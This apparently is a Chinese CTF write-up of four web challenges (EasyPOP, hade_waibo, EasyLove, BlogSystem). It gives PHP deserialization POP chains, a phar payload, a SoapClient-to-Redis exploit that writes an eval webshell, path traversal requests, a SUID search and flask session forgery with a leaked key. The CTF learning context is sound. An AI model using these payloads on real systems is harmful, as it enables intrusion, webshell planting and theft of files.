EasyPOP
源码附上
<?php
highlight_file(__FILE__);
error_reporting(0);
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {
echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
这道题也是唯一写出来的web
拿到源码就看哪里可以命令执行RCE,看那些php特殊函数,这里的话 就是`call_user_func($this->cmd, $this->content);
具体如何利用是这样的
<?php
call_user_func($_GET['a1'],$_GET['a2']);
//xxx.php?a1=system&a2=whoami //命令执行
///xxx.php?a1=assert&a2=phpinfo() //代码执行
?>
从而实现RCE
看源码 有发现一个 hint(); 按理说hint应该是有用的嘛,就想去构造去执行一些hint()函数 ,
所以要进入secret_code类里面的secret()方法 ,刚开始还想用show()方法去触发secret()
但其实
else if ($this->name = "jay") {
secret_code::secret();
这里直接触发了secret()
生成payload要删除__sleep()
$s = new sorry('jay','123');
echo serialize($s);
hint是这个 , 确实没用,因为可以通过call_user_func() 直接rce 去翻文件的
审计一下可以发现这条链子
sorry:__destruct()-> show:__toString()-> secret_code:call() ->secret_code:show() ->sorry:__get -> fine : __invoke
注意:__call是针对无方法,__get是针对无属性
poc如下
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
}
class sorry
{
private $name;
private $password;
public $hint;
public $key;
public function __construct($name, $password,$hint,$key)
{
$this->name = $name;
$this->password = $password;
$this->hint=$hint;
$this->key=$key;
}
}
class secret_code
{
protected $code;
public function __construct($code)
{
$this->code=$code;
}
}
$s = new sorry('aaa','aaa',new show(new secret_code(new sorry('aaa','aaa','aaa',new fine('system','cat /flag')))),'aaa');
echo urlencode(serialize($s));
//4,get -> invoke
//3,show() -> get
//2,toString -> show()
//1,destruct -> toString
这里我设置name和password都为aaa,可能正好绕过了 随机密码这个地方,可以打通
其实步骤里还差一个永真表达式 就是让
$this->password=&$this->name
注意一定要在代码中进行url编码 ,然后绕wakeup时候手动修改类个数即可
hade_waibo
小明为了每日欣赏美少女,专门写了一个平台供网友分享与浏览,结果却被可恶的黑客入侵并留下一个恶作剧,你能帮他看一看吗? tips:flag在/目录下的一个文件里
有个输入用户名登录,进去有上传点,并且可以search文件
这种就很像phar反序列化,之前也有非预期直接读/flag
这题还能非预期! 看看
在search界面
/file.php?m=show&filename=../../../../start.sh
然后搜到损坏的图,打开后看源码 里面有flag的文件名信息
start.sh是执行脚本文件 , 这方法有趣
/file.php?m=show&filename=../../../../ghjsdk_F149_H3re_asdasfc
同样的方法得到flag
filename=class.php读到源码
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");
public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
先去找链子,Test类
中的backdoor
里面的system
函数可以执行命令
但是有正则过滤 , 无字母数字和三个符号,且system不能执行异或、取反这些
__wakeup
因为版本问题无法绕过(PHP5<5.6.25,PHP7 < 7.0.10可以绕),那如何让value
的值不变呢,我们只需要让value
指向一个变量的地址,这样就不会变了
在保证 value
不会被改变的情况下,怎么绕过 preg_match
执行 shell
呢?这边又有一个小知识点:在 linux 中,. ./*
会把当前目录下的所有文件当作 sh 文件执行。
这里就是. ./*
执行了该目录下1.jpg里面的命令
所以这题可以上传一个这样1.jpg
#!/bin/sh
ls /
问题又来了,怎么令 value
为 . ./*
呢?我们接着看 User
类,在 __wakeup
中 $this->username = $_SESSION["username"];
,也就是 $this->username == 我们的登录名
,那么我们是就可以在登录时,以 . ./*
为登录名,然后令 Test
类中的 value
指向 username
,因为 username
是可控的。
poc如下:
<?php
class User{
public $username;
}
class Test{
public $value;
}
$user = new User();
$test = new Test();
$user->username = new Test();
$user->a= $test; //这句不太理解,这句的用途是可以顺利调用value
$test->value = &$user->username;
echo serialize($user);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($user); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("phar.phar", "test.jpg");
这里为何还需要User对象用一个不存在的属性实例化 Test()类,确实不太理解,有和没有的区别如下
O:4:"User":2:{s:8:"username";O:4:"Test":1:{s:5:"value";N;}s:1:"a";O:4:"Test":1:{s:5:"value";R:2;}}
O:4:"User":1:{s:8:"username";O:4:"Test":1:{s:5:"value";N;}}
看师傅们的博客大概是能顺利调用value,
上传1.jpg 后 用 . ./*
作为用户名登录 ,然后上传phar文件
读取1.jpg 来实现 ls /
未复现成功,哪里出问题了。。大佬们指引一下
EasyLove
Redis是世界上最好的数据库!
进来后是源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
}
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}
public function flag(){
$this->love->getflag();
}
public function __destruct(){
$this->newnewnew();
$this->flag();
}
}
class hint{
public $hint;
public function __destruct(){
echo file_get_contents($this-> hint.'hint.php');
}
}
$hello = $_GET['hello'];
$world = unserialize($hello);
有个hint,去读一下 , file_get_contents 用 伪协议读hint.php源码
构造 file_get_contents("php://filter/read=convert.base64-encode/resource=/var/www/html/hint.php")
也就是
<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
}
$s = new hint();
echo serialize($s);
传进去后得到
也就是可能Redis的密码 是20220311
到这里不太懂了,去了解了解ssrf打redis,多看看一些文章和wp
https://blog.csdn.net/m0_62422842/article/details/127553366
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}
public function flag(){
$this->love->getflag();
}
首先destruct就直接调用了这两个方法,newnewnew()里面的参数我们是可控的属性,flag()里调用了不存在的方法
可以触发SoapClient原生类的call方法,那么利用条件满足,关于SoapClient原生类的call方法
看这篇文章
https://blog.csdn.net/qq_38154820/article/details/119952852
SoapClient类需要两个参数,第一个参数通常指明是否是wsdl模式,我们构造的时候通常为Null,第二个参数是个数组.
只能先大概理解一下了,可以通过uri选项向内网redis发指令写木马
AUTH 20220311 //验证客户端链接
CONFIG SET dir /var/www/html //设置写入的目录
SET x '<?@eval(\$_POST[1]);?>' //设置写入的内容 这里不要有空格的好
CONFIG SET dbfilename hack.php //设置写入的文件名
SAVE //保存结束
写一下脚本了,redis一般在6379端口
exp里面 $option 是一个数组,必须设置location
和uri
,uri
就是上面的指令,以\r\n隔开
<?php
$target = "http://127.0.0.1:6379";
$option = array("location"=>$target,"uri"=>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename hack.php\r\nSAVE\r\nhello");
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
}
$s = new swpu();
$s->wllm = "SoapClient";
$s->arsenetang = null;
$s->l61q4cheng = $option;
echo urlencode(serialize($s));
打payload进去
然后访问我们写的hack.php 进行命令执行 成功,连接蚁剑
然后找到flag文件 没有权限读,考虑SUID 提权
find / -perm -u=s -type f 2>/dev/null
这玩意在蚁剑下没有回显? 在网站上进行执行后
有date就考虑date读取 date -f
BlogSystem
刚学习完flask,用flask写了一个博客并放了一点文章上去
https://pysnow.cn/archives/566/ 出题人文章很详细,纯跟着学习一下
admin被注册了,考虑如何登录admin,用普通用户登录一下,有发布文章,修改密码,查看文章的功能
然后就是在写的文章里,《flask基础总结》,发现了密钥泄露的情况 (跟着文章还学习了不少)
知识点 flask伪造session
工具:https://github.com/noraj/flask-session-cookie-manager
解密
python3 flask_session_cookie_manager3.py decode -c ceyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6IjEyMzEyMyJ9.Y2SOJw.VxdoMEDiLe2__2QHVJs9R6S8DwY -s 7his_1s_my_fav0rite_ke7
拿到正确的用户信息,现在伪造一下admin的session
python3 flask_session_cookie_manager3.py encode -s 7his_1s_my_fav0rite_ke7 -t "{'_permanent': True, 'username': 'admin'}"
拿到eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y2SiEw.epCgY0vgKMxePBuf7_kwhCpy1es
替换后成功admin登录,发现多了个download
这里考虑目录穿越
测试一下,肯定是对…和//进行替换为空了
要实现../
可以构造成 .//./
现在就可以翻源码,代码审计了
入口点在/app/app.py
from flask import *
import config
app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *
app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')
@app.context_processor
def login_statue():
username = session.get('username')
if username:
try:
user = User.query.filter(User.username == username).first()
if user:
return {"username": username, 'name': user.name, 'password': user.password}
except Exception as e:
return e
return {}
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', 80)
后面有些不理解,待补充